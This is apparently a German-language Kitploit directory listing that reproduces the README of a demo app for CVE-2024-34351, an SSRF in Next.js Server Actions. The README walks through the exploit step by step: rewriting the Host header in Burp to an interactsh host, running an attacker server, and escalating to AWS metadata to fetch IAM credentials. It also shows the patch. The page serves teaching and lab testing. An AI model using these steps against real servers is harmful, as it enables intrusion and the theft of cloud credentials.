Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2024-34351-demo — Minimal Next.js 14.0.0 Demo-App für die CVE-2024-34351 SSRF-Schwachstelle. Enthält Exploit-Setup, Interactsh-Bestätigung, Burp-Abfangen und AWS-Metadaten-Eskalationsschritte. | Kitploit
Tools/GitHubGitHub/jinlei-chen-uwo/cve-2024-34351-demo
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCloud-SicherheitLernen & Bildung
GitHubjinlei-chen-uwo/cve-2024-34351-demo

cve-2024-34351-demo

Minimal Next.js 14.0.0 Demo-App für die CVE-2024-34351 SSRF-Schwachstelle. Enthält Exploit-Setup, Interactsh-Bestätigung, Burp-Abfangen und AWS-Metadaten-Eskalationsschritte.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 4 MonatenNoch nicht geprüft

CVE-2024-34351 Demo

Minimale Next.js 14.0.0-Anwendung zur Demonstration von CVE-2024-34351 – einer Server-Side Request Forgery (SSRF)-Schwachstelle in Next.js Server Actions.

Entdeckt von Adam Kues und Shubham Shah bei Assetnote. Behoben in Next.js 14.1.1.


Wie die Schwachstelle funktioniert

Wenn eine Server Action redirect('/some-path') aufruft, erstellt Next.js eine interne Fetch-URL unter Verwendung des Host-Headers der eingehenden Anfrage ohne Validierung:

root@kitploit:~
// Vulnerable code in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host']           // attacker-controlled
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... })  // server makes this request

Ein Angreifer, der den Host-Header kontrolliert, kann diesen internen Fetch auf jedes Ziel umleiten, das der Server erreichen kann.


Voraussetzungen

  • Node.js 18+
  • npm
  • Burp Suite Community Edition (kostenlos) zur Abfangfunktion

Einrichtung

root@kitploit:~
npm install
npm run build   # must use production build -- dev mode routes redirects differently
npm run start   # app runs at http://localhost:3000

Ausnutzung

Schritt 1 – Bestätigen der ausgehenden Anfrage mit interactsh

interactsh ist nützlich, um zu bestätigen, dass der Next.js-Server eine ausgehende Anfrage an einen vom Angreifer kontrollierten Host sendet.

root@kitploit:~
# Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Start a session -- note your interaction URL, e.g. abc123.oast.fun
interactsh-client

In Burp Suite:

  1. Navigieren Sie zu http://localhost:3000 und senden Sie das Anmeldeformular ab, während der Abfang (Intercept) aktiviert ist.
  2. Ändern Sie in der abgefangenen POST-Anfrage Host: localhost:3000 zu Host: abc123.oast.fun.
  3. Leiten Sie die Anfrage weiter.
  4. Überprüfen Sie interactsh – Sie sehen eine protokollierte HEAD-Anfrage vom Next.js-Server.

Dies beweist die ausgehende SSRF. Die Anfrage stammt vom Serverprozess, nicht vom Browser.

Schritt 2 – Vollständiges Auslesen mit dem Angreifer-Server

interactsh kann seine Antwort nicht steuern, daher wird Next.js nicht bis zum GET folgen. Um den vollständigen Antworttext zu erhalten, verwenden Sie den beiliegenden Angreifer-Server:

root@kitploit:~
python3 attacker/attacker_server.py 8888

Setzen Sie den Host-Header auf <your-lan-ip>:8888 und leiten Sie weiter. Der Angreifer-Server antwortet auf HEAD mit Content-Type: text/x-component, was den GET auslöst. Der vollständige Antworttext wird innerhalb der Next.js-Antwort zurückgegeben, die in Burp sichtbar ist.

Schritt 3 – AWS-Metadaten-Eskalation (auf EC2)

Wenn die anfällige App auf einer AWS EC2-Instanz ausgeführt wird, setzen Sie den Host-Header auf:

root@kitploit:~
Host: 169.254.169.254

Next.js wird vom Instance-Metadata-Service abrufen. Um IAM-Anmeldeinformationen abzurufen:

root@kitploit:~
Host: 169.254.169.254

Passen Sie dann den Redirect-Pfad an oder verwenden Sie eine Folgeanfrage, um Folgendes zu targetieren:

root@kitploit:~
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Die vollständige Metadatenantwort wird an den Browser des Angreifers zurückgegeben.


Der Patch (Next.js 14.1.1)

root@kitploit:~
// Patched -- no longer reads from the attacker-controlled request header
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
          ?? process.env.__NEXT_PRIVATE_ORIGIN
          ?? req.headers['host']

Die Korrektur bevorzugt process.env.__NEXT_PRIVATE_ORIGIN – wird beim Serverstart gesetzt und ist vom Angreifer nicht kontrollierbar.


Referenzen

  • Assetnote Research Post
  • Assetnote Advisory
  • GitHub Advisory GHSA-fr5h-rqp8-mj6g
  • NVD CVE-2024-34351
  • Patch PR #62561
Tool herunterladen